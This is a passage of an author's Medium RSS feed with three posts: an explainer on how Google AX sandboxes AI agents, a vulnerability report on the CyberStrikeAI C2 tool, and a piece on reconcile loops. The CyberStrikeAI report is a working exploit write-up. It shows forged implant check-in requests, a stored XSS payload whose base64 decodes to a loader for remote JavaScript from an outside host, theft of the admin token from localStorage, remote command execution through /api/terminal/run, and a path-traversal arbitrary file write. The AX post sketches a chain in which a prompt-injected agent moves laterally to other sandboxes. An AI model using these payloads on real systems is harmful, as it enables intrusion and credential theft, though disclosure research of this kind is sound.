src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5149d0b5aee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Three Walls and a Maintenance Hatch: How Google AX Sandboxes Untrusted Agents]]></title>
            <link>https://medium.com/@Asy0y0/three-walls-and-a-maintenance-hatch-how-google-ax-sandboxes-untrusted-agents-8ff6d417c81e?source=rss-9df4e6fbdbdf------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ff6d417c81e</guid>
            <category><![CDATA[agents]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[ax]]></category>
            <dc:creator><![CDATA[Asy0y0]]></dc:creator>
            <pubDate>Sun, 04 Oct 2026 04:52:19 GMT</pubDate>
            <atom:updated>2026-10-04T04:52:19.551Z</atom:updated>
            <content:encoded><![CDATA[<h4>Inside Google AX, Part 4: containers, gVisor, a PID 1 supervisor, and a debug door that is shut by default but has no lock once you open it.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b3ywcyUEsooWKyLJUlgL0Q.png" /></figure><p><em>This is Part 4 of “Inside Google AX,” a six-part series on Google’s open agentic orchestration runtime. Part 3 explained reconciliation. Now we step inside the thing being reconciled: the sandbox.</em></p><p>Here’s an uncomfortable truth about AI agents: the code they run is, almost by definition, code that nobody reviewed.</p><p>An agent writes a script and executes it. It installs a package it found five seconds ago. It follows instructions buried in a web page it just read. Any orchestrator for agents has to assume that whatever runs inside a task might be hostile.</p><p>So how does AX contain it? The short answer is three walls and a very carefully guarded maintenance hatch. Let’s start with how a sandbox comes to life.</p><h3>How a sandbox boots</h3><p>When a task starts, the sequence goes like this:</p><ol><li><strong>The controller never uses </strong><strong>spec.command as the entrypoint.</strong> Every task container starts with the same fixed binary, /usr/local/bin/ax-task-runner, which becomes PID 1.</li><li><strong>PID 1 reads its instructions</strong> from two environment variables, AX_TASK_YAML and AX_WORKSPACES_YAML, and starts a metadata and guest service on port 80.</li><li><strong>On the first start, it sets up the workspaces</strong> in binding order: cloning git repos and preparing skills. If a binding has a goal, the runner hands it to the Antigravity setup agent, with a default timeout of 10 minutes that you can change through AX_BOOTSTRAP_TIMEOUT.</li><li><strong>Until all of that is done, </strong><strong>/readyz returns 503.</strong> This is the signal that eventually drives the WorkspaceReady condition from Part 2.</li><li><strong>Only then does it start </strong><strong>spec.command</strong> as a child process, with the first workspace as its working directory, AX_METADATA_URL and spec.env injected into its environment, and the runner supervising it from above.</li></ol><p>Part 5 is devoted entirely to that runner. For now, let’s look at what surrounds it.</p><h3>Three walls</h3><p>AX’s isolation model stacks three layers, and each one stops a different kind of trouble.</p><p><strong>Wall 1: the container boundary.</strong> Every task gets its own container, built from Linux namespaces and cgroups. This stops ordinary overreach: each task has its own view of the filesystem, its own process space, and its own CPU and memory limits (this is the layer where spec.resources applies). Task A can&#39;t see task B&#39;s files, and it can&#39;t steal task B&#39;s memory.</p><p><strong>Wall 2: gVisor.</strong> gVisor is Google’s user-space kernel, and the actor template AX builds for Substrate specifies the gvisor-default sandbox. This wall exists because containers alone share one big weakness: every system call still goes straight to the host kernel. If that kernel has a vulnerability, &quot;container isolation&quot; is only as strong as a sheet of paper. gVisor inserts a stand-in kernel, written in Go, between the two. Code in the container thinks it&#39;s making system calls, but it&#39;s actually talking to an emulator, and it never touches the real kernel.</p><p><strong>Wall 3: the PID 1 supervisor.</strong> ax-task-runner is always process number 1 in the container. This wall stops chaos <em>inside</em> the sandbox. Every process ultimately belongs to it, because orphaned processes get re-parented to PID 1. Stop and suspend signals arrive at the runner first, and it forwards them to the agent&#39;s entire process group, with SIGKILL as the last resort. The guarantee: no feral, unsupervised processes are ever left behind in the sandbox.</p><h3>Introspection without an SDK</h3><p>Code inside a sandbox often needs to know about itself: <em>Who am I? How was I configured?</em> An agent might want to read its own goal, or find out which workspaces it’s bound to. That’s called introspection.</p><p>The traditional Kubernetes answer is to install an SDK in the container, hand it credentials, and let it call the control plane’s API.</p><p>AX deliberately doesn’t do that, for the reason this whole post is about: the sandbox runs untrusted code. You don’t hand untrusted code a key that can query your control plane.</p><p>Instead, the runner serves a tiny HTTP server on port 80, <em>inside</em> the sandbox, and its only job is to tell the task about itself. It speaks both HTTP/1.1 and h2c on the same port, and it needs no credentials at all:</p><pre># Any process in the container. No SDK, no credentials.<br># My own Task spec (YAML):<br>curl $AX_METADATA_URL/metadata/v1alpha1/ax/task<br># The Workspaces bound to me:<br>curl $AX_METADATA_URL/metadata/v1alpha1/ax/workspaces</pre><p>I like to think of it as the task’s <strong>birth certificate</strong>: a read-only record of who it is and how it was set up, handed over without ever giving the task a key to the control plane.</p><h3>The maintenance hatch</h3><p>Now for the most delicate part of the design.</p><p>First, a bit of vocabulary. “Guest” is a virtualization term: the side being isolated is the <em>guest</em>, and the side doing the isolating is the <em>host</em>. Here, the guest is your task’s sandbox. The <strong>guest services</strong> are the sandbox’s two management interfaces:</p><ul><li><strong>The process service</strong> can start any process inside the sandbox, inspect processes, stream their output, and kill them.</li><li><strong>The filesystem service</strong> can stream reads and writes of workspace files.</li></ul><p>Now put those two facts side by side. The sandbox runs untrusted code; an agent could be hijacked through prompt injection and start making network requests on an attacker’s behalf. And on port 80 of that same sandbox, there’s an interface that can <strong>run any process and read or write any file</strong>. Any client that can reach that port effectively has root inside the sandbox.</p><p>That’s not a bug. It’s a deliberately built backdoor, there for debugging. Which is exactly why it needs strict controls.</p><p>AX guards it with three gates:</p><ol><li><strong>Off by default.</strong> If the manifest doesn’t ask for them, these services never even start.</li><li><strong>Explicit opt-in.</strong> You have to deliberately write debug: true in the Task spec. Despite the name, this field doesn&#39;t mean &quot;turn on debug logging.&quot; It means &quot;open this sandbox&#39;s maintenance hatch.&quot;</li><li><strong>Enforced by the CLI.</strong> Before connecting, ax ssh checks spec.debug, and if it&#39;s off, it refuses with an error.</li></ol><h3>What an open hatch can lead to</h3><p>The gates are solid as long as they stay shut. But it’s worth tracing what can happen once a single task opens its hatch, because the result is sobering:</p><pre>Task A: agent hijacked by prompt injection<br>        (debug is off here)<br>   │ egress defaults to allow-all<br>   │ (issue #376: the Port field is never read)<br>   ▼<br>atenet-router: reachable from any task<br>   │ header ate-target-actor: default/taskB<br>   │ ← no authentication<br>   ▼<br>Task B: has debug: true<br>   │ attacker now fully controls B:<br>   │ steals secrets, alters state, plants backdoors<br>   │ armed with B&#39;s credentials and a foothold<br>   │ inside the cluster network<br>   ▼<br>ax-server:8080: no authentication<br>   → read, delete, or tamper with any tenant&#39;s<br>     resources</pre><p>Every link in this chain comes from <a href="https://github.com/google/ax/issues/376">issue #376</a> on the AX repository, which was still open at the time of writing. (According to the latest update in that thread, the original “rewrite someone else’s task” path has since closed, because tasks became immutable. Cross-tenant reads and deletes, however, were still reproducible.)</p><h3>Which way does each defense face?</h3><p>The key insight is that <strong>the maintenance-hatch gates protect against inbound takeover of a sandbox from any source. They are not what stops a sandbox from escaping to the host.</strong> Different threats come from different directions, so here’s the scorecard, direction by direction:</p><ul><li><strong>Sandbox to host (escape).</strong> Defended by the three walls. This is the most solid part of the design, thanks largely to gVisor.</li><li><strong>Anyone to sandbox (inbound takeover).</strong> Defended by the three gates: guest services off by default, plus the debug opt-in. The door is shut by default, but there&#39;s no lock behind it; once enabled, there&#39;s no authentication.</li><li><strong>Sandbox to sandbox, or sandbox to control plane (lateral movement).</strong> Right now, there’s essentially no defense here. Closing it would take authentication on the control plane, egress fencing, and authentication on the router. This is exactly the gap that issue #376 reports.</li></ul><p>If you’re evaluating AX for anything multi-tenant, that third line is the one to watch.</p><h3>Key takeaways</h3><ul><li>Your agent’s command is never the container entrypoint. A fixed runner boots first, prepares the environment, and only then starts your agent as a supervised child.</li><li>Isolation comes in three walls: a container boundary for ordinary separation, gVisor for kernel attack surface, and a PID 1 supervisor for order inside the sandbox.</li><li>Tasks learn about themselves from a local metadata server, with no SDK and no credentials, so untrusted code never holds a key to the control plane.</li><li>Guest services are a deliberate debugging backdoor. They’re off by default, require debug: true, and are enforced by the CLI, but once enabled they have no authentication.</li><li>Escape to the host is well defended; lateral movement between sandboxes and into the control plane is not yet.</li></ul><p><em>Next up, in Part 5: we’ll dissect the runner, the tiny Go program at PID 1, and trace every step between “container starts” and “your agent exits.”</em></p><p><strong>Inside Google AX: the series</strong></p><ol><li>Why Google AX skipped CRDs, and its four building blocks</li><li>From ax apply to a running sandbox</li><li>Reconcile, explained like a thermostat</li><li>Three walls and a maintenance hatch <em>(you are here)</em></li><li>Your agent is never PID 1</li><li>Environments that build themselves, and one router for a billion tasks</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ff6d417c81e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberStrikeAI — Vulnerability Analysis Report]]></title>
            <link>https://medium.com/@Asy0y0/cyberstrikeai-vulnerability-analysis-report-4a7362590c31?source=rss-9df4e6fbdbdf------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a7362590c31</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cyberstrikeai]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[agents]]></category>
            <dc:creator><![CDATA[Asy0y0]]></dc:creator>
            <pubDate>Fri, 02 Oct 2026 16:46:18 GMT</pubDate>
            <atom:updated>2026-10-02T16:48:57.692Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oo3-qTvBy2g7Z_1WoojqZw.png" /></figure><p>From Offline Credential Extraction to C2 Server RCE: CyberStrikeAI C2 v1.7.11: Analysis and Reproduction of Two Attack Chains.</p><h3>Stored XSS -&gt; Admin Token Theft -&gt; C2 Server RCE via /api/terminal/run Endpoint — High Severity</h3><p>After generating a Beacon using the listener, we can extract the AES Key and the X-Implant-Token request header offline.</p><ul><li>AES Key: Used for encrypting packet parameters</li><li>X-Implant-Token: Used for authentication of Beacon HTTP requests</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aNjHeItH1Nrrb6704SOlNQ.png" /></figure><p>After obtaining these two parameters, we can forge legitimate Beacon packets to simulate implant check-in and inject a Stored XSS payload.</p><p>Sending packet:</p><pre>POST /check_in HTTP/1.1<br>Host: 192.168.139.212:9090<br>X-Implant-Token: 18yrL4-lid96FB2gusrymZt-CoTNgMU69FTtImEmiKw<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36<br>Content-Length: 636<br>Connection: close<br><br>rUQ/UMsUQq97Hu9zUcXNd6Me06Bx3dV64JMhs2D5w7yciEoIwlSU07Al0o9yTL1+ZC38lTynNqzQ4HDJUj/Vf8KJraE2Lh1T4pxlMPeOLEI1CCFiWjq4on4jtUUE0St/pvLTVnlOd29kqd8cGlO5YrQldogbTP9rxYcP5SuyUoOoex93Srq1uUBhCxKOvemdXRCWVwjdEjcjW6IqFVb2Y7M49qL9Ijd6jg0MQArAU27LyQY21uSMR5vTx7OGk9xBd2BRx1CGjWt9yXfulDiz6e9MSlhARxU0jyEI4JN8LuPonB565ZJlCTUe16qu2e1Oj4RPII2NCjqo9RuhASahr15rAd1wJt2f2WLNxlnZNUZQGOns4D6ldcAc8fV3rG87yNu5G0Uu05E0eUvy42fREdXQo7feCt0ukpRXgzmr88ZvKqSDIiWjodnOJMUmJc/ocUvvVroBizRo5Ci1fQ29ZEgkTmClyGZzVglx2GHVUS42+zKu6BXVFCvlkQZdz1JBC7uRpaTC6vXmq/EJo6l4kckKlRuDwJtvZNmk75iKgPuwPPRE6QEYB/xab+o8Vw/CfUvXOODf0TrTLEY1h8fcll46ajoqIjqxyNSsNdV49rgqVvWim0pyCY/adyDE</pre><p>Successfully forged implant check-in; payload is as follows:</p><pre>{<br>  &quot;uuid&quot;: &quot;x\&quot;&gt;&lt;img src=x onerror=eval(atob(&#39;YWxlcnQoZG9jdW1lbnQuY29va2llKQ==&#39;)) width=0 height=0&gt;&quot;,<br>  &quot;hostname&quot;: &quot;TEST-alert-3f21ae&quot;,<br>  &quot;username&quot;: &quot;test&quot;,<br>  &quot;os&quot;: &quot;linux&quot;,<br>  &quot;arch&quot;: &quot;arm64&quot;,<br>  &quot;pid&quot;: 3862,<br>  &quot;process_name&quot;: &quot;test_svc&quot;,<br>  &quot;is_admin&quot;: false,<br>  &quot;internal_ip&quot;: &quot;10.0.0.59&quot;,<br>  &quot;user_agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&quot;,<br>  &quot;sleep_seconds&quot;: 5,<br>  &quot;jitter_percent&quot;: 10,<br>  &quot;metadata&quot;: {<br>    &quot;transport&quot;: &quot;http_beacon&quot;,<br>    &quot;cwd&quot;: &quot;/tmp&quot;<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yh7o5TMnCaU_WIcbS-Cw5A.png" /></figure><p>Open the CyberStrikeAI Session management page and select our forged check-in Session. The details panel renders implantUuid, successfully triggering the alert popup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tnLZNdef1SUH5K5XQqdOow.png" /></figure><p>The trigger point for this vulnerability is the implantUuid parameter. Vulnerable code:</p><p>onclick=”event.stopPropagation(); C2.copyText(${JSON.stringify(String(value))})”</p><p>JSON.stringify only performs JavaScript syntax escaping, converting “ to \”. However, this value is directly concatenated into an HTML attribute context. The HTML parser does not recognize backslash escaping within attributes; upon encountering \”, it closes the attribute immediately. The subsequent &lt;img src=x onerror=…&gt; is then parsed and executed as an HTML tag, resulting in Stored XSS.</p><p>onclick=”event.stopPropagation(); C2.copyText(“x\”&gt;&lt;img src=x onerror=…&gt;”)”</p><p>Through the Administrator API, we can query our forged malicious session:</p><pre>GET /api/c2/sessions HTTP/1.1<br>Authorization: Bearer eac56217-d581-4cf3-8f7b-90511dda7305<br>Accept: application/json<br>Host: 192.168.139.212:8080<br>Connection: close<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NiLU0_QQySJl3BAPnX4juw.png" /></figure><p>Achieving RCE: Load external JS code and exfiltrate Administrator Token</p><p>Plaintext request body:</p><pre>{<br>  &quot;uuid&quot;: &quot;x\&quot;&gt;&lt;img src=x onerror=eval(atob(&#39;dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly8xOTIuMTY4LjEzOS4yNDc6ODAwMC94LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMp&#39;)) width=0 height=0&gt;&quot;,<br>  &quot;hostname&quot;: &quot;RCE-REPRO-jsurl&quot;,<br>  &quot;username&quot;: &quot;test&quot;,<br>  &quot;os&quot;: &quot;linux&quot;,<br>  &quot;arch&quot;: &quot;arm64&quot;,<br>  &quot;pid&quot;: 20540,<br>  &quot;process_name&quot;: &quot;test_svc&quot;,<br>  &quot;is_admin&quot;: false,<br>  &quot;internal_ip&quot;: &quot;10.0.0.12&quot;,<br>  &quot;user_agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&quot;,<br>  &quot;sleep_seconds&quot;: 5,<br>  &quot;jitter_percent&quot;: 10,<br>  &quot;metadata&quot;: {&quot;transport&quot;: &quot;http_beacon&quot;, &quot;cwd&quot;: &quot;/tmp&quot;}<br>}</pre><p>Base64 decoded payload:</p><pre>var s = document.createElement(&#39;script&#39;);<br>s.src = &#39;http://192.168.139.247:8000/x.js&#39;;<br>document.body.appendChild(s);</pre><p>Malicious JS code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vNbVWGhT-sZsjiYVeb84jA.png" /></figure><p>Retrieve token from localStorage: localStorage.getItem(‘cyberstrike-auth’)</p><p>Successfully retrieved Administrator Token: eac56217-d581–4cf3–8f7b-90511dda7305</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*93GL2Yt-ZQ1izYM7Dq412Q.png" /></figure><pre>POST /api/terminal/run HTTP/1.1<br>Authorization: Bearer eac56217-d581-4cf3-8f7b-90511dda7305<br>Content-Type: application/json<br>Accept: application/json<br>Content-Length: 41<br>Host: 192.168.139.212:8080<br>Connection: close<br><br>{&quot;command&quot;: &quot;id; hostname; whoami; ip a&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-GApEjg3KsStNL_EDQJZ_A.png" /></figure><p>Remote command execution succeeded</p><h3>/result Endpoint Request Plaintext Fallback + blob_suffix Path Traversal Arbitrary File Write — High Severity</h3><p>After the forged session checks in, decrypt the plaintext response:</p><pre>{<br>  &quot;session_id&quot;: &quot;s_5ee99276b09f4e&quot;,<br>  &quot;next_sleep&quot;: 5,<br>  &quot;next_jitter&quot;: 10,<br>  &quot;has_tasks&quot;: false,<br>  &quot;server_time&quot;: 1790949333814<br>}</pre><p>Obtained Session_Id: s_5ee99276b09f4e</p><p>In internal/c2/listener_http.go, when DecryptAESGCM fails, it attempts to directly parse the payload as plaintext:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JkkCZPMzqH3cpx7hfcnBlQ.png" /></figure><p>Therefore, in reality, due to the request plaintext fallback mechanism, the attack chain for the aforementioned RCE vulnerability can be fully executed even without encrypting the request body. In our report, encryption was chosen to fully simulate Beacon traffic; for this vulnerability, we will demonstrate using unencrypted packets.</p><p>After obtaining Session_Id, we need to retrieve an existing Task_Id for this session (the Task can only be created by an administrator):</p><pre>GET /tasks?session_id=s_5ee99276b09f4e HTTP/1.1<br>Host: 192.168.139.212:9090<br>X-Implant-Token: 18yrL4-lid96FB2gusrymZt-CoTNgMU69FTtImEmiKw<br>Accept: application/json<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36<br>Connection: close<br></pre><p>It is worth noting that if the request headers Accept / Content-Type include application/json, or the User-Agent contains curl, the responses for both /tasks and /result endpoints will also fall back to plaintext — this is the response plaintext fallback mechanism.</p><p>This must be distinguished from the request plaintext fallback described above. Both share the same underlying purpose — as stated in the code comments, “to support lightweight clients such as curl.” However, request plaintext fallback occurs during the HTTP Request body parsing phase: even if the user sends plaintext, when server-side ciphertext decryption fails, it degrades to parsing and executing as plaintext.</p><p>On the other hand, response plaintext fallback is controlled by a function named isPlaintextClient. Its triggering condition is that “the request header Accept / Content-Type contains application/json, or the User-Agent header contains curl.” Once triggered, the server directly returns plaintext data in the response instead of encrypted data.</p><p>Request plaintext fallback + Path traversal:</p><pre>POST /result HTTP/1.1<br>X-Implant-Token: 18yrL4-lid96FB2gusrymZt-CoTNgMU69FTtImEmiKw<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36<br>Content-Type: application/octet-stream<br>Content-Length: 255<br>Host: 192.168.139.212:9090<br>Connection: close<br><br>{&quot;task_id&quot;: &quot;t_8f99b6005e2f40&quot;, &quot;success&quot;: true, &quot;output&quot;: &quot;test&quot;, &quot;blob_b64&quot;: &quot;dGVzdDEyMy1hcmJpdHJhcnktd3JpdGUtOGU4NDRlOTY=&quot;, &quot;blob_suffix&quot;: &quot;./../../../../../../../../../../tmp/VULN_test_8e844e96&quot;, &quot;started_at&quot;: 1785948197208, &quot;ended_at&quot;: 1785948197208}</pre><p>Vulnerable code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OqLmYIVHA32WNc1hmlZztQ.png" /></figure><p>The suffix parameter is controllable; path traversal breakdown:</p><pre>dir    = /home/asy0y0/CyberStrikeAI/tmp/c2/results<br>taskID = t_8f99b6005e2f40                    (Must be an actual task ID that exists in the database)<br>suffix = ./../../../../../../../../../../tmp/VULN_test<br><br>Join → Clean(&quot;results/t_8f99b6005e2f40/./../../../..…/tmp/VULN_test&quot;)<br>     = /tmp/VULN_test                        ← Lexically escapes out of the target directory</pre><p>The written file content is the value of the blob_b64 parameter, which is also attacker-controlled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gRPaJOLyCV_ceSBw3FbfrQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a7362590c31" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reconcile, Explained Like a Thermostat]]></title>
            <link>https://medium.com/@Asy0y0/reconcile-explained-like-a-thermostat-24c29aa52399?source=rss-9df4e6fbdbdf------2</link>
            <guid isPermaLink="false">https://medium.com/p/24c29aa52399</guid>
            <category><![CDATA[google]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[agents]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[ax]]></category>
            <dc:creator><![CDATA[Asy0y0]]></dc:creator>
            <pubDate>Wed, 30 Sep 2026 09:04:52 GMT</pubDate>
            <atom:updated>2026-09-30T09:04:52.641Z</atom:updated>
            <content:encoded><![CDATA[<h4>Inside Google AX, Part 3: the loop at the heart of every declarative system, what a single pass looks like in AX, and why its workers acknowledge every event, even the failures.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uu7dPk14S8UdBQB91Z4p8g.png" /></figure><p><em>This is Part 3 of “Inside Google AX,” a six-part series on Google’s open agentic orchestration runtime. Part 2 followed a task from ax apply to a running sandbox. This time, we zoom into the step that did most of the work.</em></p><p>If you’ve read any Kubernetes documentation, you’ve seen the sentence a hundred times: <em>“The controller reconciles the actual state toward the desired state.”</em></p><p>It’s one of those phrases that sounds like an explanation but isn’t one. By the end of Part 2, I had used the word “reconcile” more than a dozen times without ever unpacking it. So let’s fix that, first in general, and then by walking through exactly what AX’s reconciler does, step by step.</p><h3>Reconcile is bookkeeping</h3><p>Here’s the one-sentence definition I keep coming back to:</p><p><strong>A reconcile is one round of bookkeeping: compare the desired state with the actual state, and if they differ, take action to push the actual state toward the desired one.</strong></p><p>The English word is a happy accident here. Accountants <em>reconcile</em> a bank statement: they put the ledger next to reality, find every mismatch, and fix it. A controller does exactly the same thing, just for infrastructure instead of money.</p><h3>Why declarative systems need it</h3><p>When you write replicas: 3 in Kubernetes, or kind: Task in AX, you haven&#39;t given the system a list of instructions. You&#39;ve expressed a wish.</p><p>Nobody tells the system, “First create a sandbox, then inject the environment variables, then wait until it’s ready.” The system has to work out on its own how to turn the wish into reality. And then it has to <em>keep</em> it real: replace a Pod that dies, rebuild a sandbox that crashes, restore something that someone deleted by mistake.</p><p>Reconcile is the general-purpose loop that solves this. Every pass follows the same four steps:</p><ol><li><strong>Observe:</strong> what does the world actually look like right now?</li><li><strong>Diff:</strong> where does that differ from what was asked for?</li><li><strong>Act:</strong> do the smallest thing that closes the gap.</li><li><strong>Update status:</strong> write down what you observed.</li></ol><p>Then it does it again, and again, until there’s no gap left and the loop simply idles.</p><h3>The thermostat test</h3><p>The best mental model I know is an air conditioner.</p><p>You set it to 26°C. That’s the desired state. The thermometer reads 29°C. That’s the actual state. So the compressor kicks in. That’s the action.</p><p>What the air conditioner does <em>not</em> do is “execute one cooling command” and call it a day. It keeps reading the temperature and keeps correcting.</p><p>Once you see it this way, Kubernetes’ famous “self-healing” stops looking like magic. It’s not some clever event wizardry. It’s simply a side effect of this loop running over and over: a Pod dies, the next reconcile finds 2 running where 3 were requested, and it creates one more.</p><h3>One reconcile pass in AX</h3><p>Now let’s make it concrete. The code lives in internal/controller/reconciler.go, and I&#39;ll use the most common scenario: you&#39;ve applied a Task, and then you run ax resume.</p><p>First, notice how a pass gets <em>triggered</em>, because it’s different from Kubernetes. Kubernetes controllers re-reconcile on a periodic resync. <strong>AX is event-driven:</strong> a reconcile event lands on the Redis Stream, a worker picks it up, and it calls Reconcile once.</p><p>Inside that single call, four things happen.</p><p><strong>Step 1: Read the desired state.</strong> The worker fetches the Task from Redis. The spec you wrote at apply time <em>is</em> the desired state: “this task should exist, and it should look like this.”</p><p><strong>Step 2: Observe reality.</strong> Then it asks Agent Substrate. Does the atespace exist yet? Does the actor, the running sandbox behind this task, exist? What condition is it in: healthy, CRASHED, or DELETING? Is it suspended or live?</p><p><strong>Step 3: Converge.</strong> Every action here is an idempotent “Ensure” operation that nudges reality toward the spec:</p><ul><li><strong>The atespace doesn’t exist?</strong> EnsureAtespace creates it. If it already exists, nothing happens.</li><li><strong>No matching ActorTemplate?</strong> AX builds one named &lt;task&gt;-tmpl-&lt;digest&gt;, where the digest comes from the image and environment. If it already exists, it&#39;s reused.</li><li><strong>The actor doesn’t exist?</strong> EnsureActor creates it. <strong>If it&#39;s </strong><strong>CRASHED, it&#39;s force-deleted and rebuilt.</strong> If it&#39;s DELETING, AX waits for the deletion to finish and then creates a new one.</li><li><strong>The actor’s state doesn’t match the phase?</strong> If the phase says Running, AX calls ResumeActor, which activates it and returns a worker IP. If the phase says Suspended, it calls SuspendActor, which takes a checkpoint.</li></ul><p><strong>Step 4: Write down what you saw.</strong> Finally, the reconciler writes its observations back into the task’s status: the worker IP, phase=Running, and the WorkspaceReady and Ready conditions.</p><p>That last step deserves a second look, because it changes how you read the output of ax get and ax describe. <strong>Status isn&#39;t something anyone &quot;sets.&quot; It&#39;s the observation log of the most recent reconcile.</strong></p><h3>A loop inside the loop</h3><p>There’s also a miniature convergence loop tucked inside all this. The readiness check polls the sandbox’s /readyz endpoint every 500 ms, for up to 15 seconds. A 503 means &quot;keep waiting.&quot; A 200 means WorkspaceReady flips to True.</p><p>It’s the same logic in miniature. Desired state: the workspace is ready. Actual state: /readyz returns 503. Action: wait 500 ms and look again.</p><h3>The worker: an event pump with one strong opinion</h3><p>The reconciler handles one task at a time. Feeding it is the worker, in internal/controller/worker.go, and it&#39;s essentially an event pump:</p><ul><li>Its consumer group is named ax-controllers by default, and each consumer names itself after its hostname plus a timestamp suffix.</li><li>It loops on sub.Next(ctx), retrying read errors with a one-second backoff.</li></ul><p>And then comes the design decision I find most interesting in the whole controller:</p><p><strong>The worker acknowledges every event, whether the reconcile succeeded or failed.</strong></p><p>The reasoning is simple and a little ruthless: <em>one bad task must never jam the entire queue.</em> Failures don’t disappear, though. They’re surfaced through the task’s own status, as the Failed phase. And retries don&#39;t come from the queue redelivering the event. To retry, you delete the task and apply it again.</p><p>This is a real departure from CRD-style controllers, which lean on the periodic resync to keep retrying things that failed. In AX, the queue keeps moving, and failure becomes a visible state instead of an invisible retry loop.</p><p>The worker also follows two handling rules, one per event type:</p><ul><li><strong>Delete events:</strong> it runs ReconcileDelete first to clean up resources. If that fails, the task stays in Terminating, where it&#39;s visible and can be retried. Only when cleanup succeeds is the record itself deleted.</li><li><strong>Reconcile events:</strong> it fetches the task. If the task is Terminating, it skips it, because &quot;a pending delete owns this task&quot; and reconciling could resurrect an actor that&#39;s about to be destroyed. Otherwise it resolves the referenced Workspaces (missing ones are skipped, and the runner will simply create empty directories), calls reconciler.Reconcile, and then either marks the task Failed and persists that, or writes back the freshly reconciled status.</li></ul><h3>The Substrate client: idempotency all the way down</h3><p>The last piece of the controller is the client that talks to Agent Substrate’s Control API over gRPC, in internal/substrate/client.go. Its best idea is the <strong>idempotent </strong><strong>Ensure* pattern</strong>:</p><ul><li>EnsureAtespace, EnsureActorTemplateWithImage, and EnsureActor all treat AlreadyExists as success. Calling them twice is always safe.</li><li>When EnsureActor finds a CRASHED actor, it force-deletes it (with AnyState: true) and recreates it. When it finds one that&#39;s DELETING, it polls, up to 20 times at 500 ms intervals, and then recreates it.</li><li>All connection settings are discovered automatically: the token file (from SUBSTRATE_TOKEN_FILE or /var/run/secrets/ateapi/token), the CA bundle, and the SNI. It&#39;s a zero-configuration mindset built for running inside Kubernetes.</li><li><strong>It re-reads the token file on every single request</strong> (via grpc.WithPerRPCCredentials) instead of caching it at startup. That small choice means credentials can be rotated without restarting anything.</li></ul><p>If you want to see what a sandbox is made of at the lowest level, BuildActorTemplate is the place to look. The guest container gets an HTTP probe on /readyz (port 80). /workspace is mounted as a <strong>DurableDir</strong> volume, which gets a data-scoped snapshot on suspend and is restored from a golden resume source. And the whole thing runs inside a <strong>gVisor sandbox</strong> (gvisor-default).</p><p>That’s a good cliffhanger, because gVisor is where we’re headed next.</p><h3>Key takeaways</h3><ul><li>A reconcile is bookkeeping: compare desired with actual, act to close the gap, and record what you saw. Run it forever and you get “self-healing.”</li><li>AX reconciles on events from a Redis Stream rather than on a periodic resync.</li><li>A single pass reads the spec, asks Substrate what exists, converges through idempotent Ensure* calls, and writes its observations into status.</li><li>Workers acknowledge every event, even failures, so one bad task can’t block the queue. Failures show up as a Failed phase, and retries mean delete plus re-apply.</li><li>The Substrate client treats AlreadyExists as success, rebuilds crashed actors, and re-reads its token on every call to support hot rotation.</li></ul><p><em>Next up, in Part 4: we step inside the sandbox itself, meet its three walls, and look at a deliberately built backdoor that is shut by default but has no lock once you open it.</em></p><p><strong>Inside Google AX: the series</strong></p><ol><li>Why Google AX skipped CRDs, and its four building blocks</li><li>From ax apply to a running sandbox</li><li>Reconcile, explained like a thermostat <em>(you are here)</em></li><li>Three walls and a maintenance hatch</li><li>Your agent is never PID 1</li><li>Environments that build themselves, and one router for a billion tasks</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24c29aa52399" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From ax apply to a Running Sandbox: A Guided Tour of Google AX]]></title>
            <link>https://medium.com/@Asy0y0/from-ax-apply-to-a-running-sandbox-a-guided-tour-of-google-ax-479c22bcfa8f?source=rss-9df4e6fbdbdf------2</link>
